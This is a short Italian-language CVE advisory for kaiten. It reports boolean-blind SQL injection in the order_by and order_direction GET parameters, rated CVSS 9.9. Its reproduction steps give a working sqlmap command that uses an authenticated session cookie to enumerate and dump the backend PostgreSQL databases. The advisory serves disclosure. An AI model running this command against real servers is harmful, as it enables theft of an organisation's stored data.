CVE-2026-79303

Iniezione SQL boolean-blind

Descrizione: Le istruzioni SQL dinamiche vengono generate senza la necessaria validazione dei dati e senza utilizzare istruzioni parametrizzate o stored procedure.

Impatto: SQLi

Vettore CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Critico)

CWE: CWE-89: Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL ('SQL Injection')

Componente interessato: Parametri GET order_by e order_direction

Fornitore: kaiten

Prodotto interessato

• Versioni kaiten: 57.192.20 < 57.214.26

Passaggi per la riproduzione:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. Digitare n (non unire il proprio cookie con uno nuovo) -> C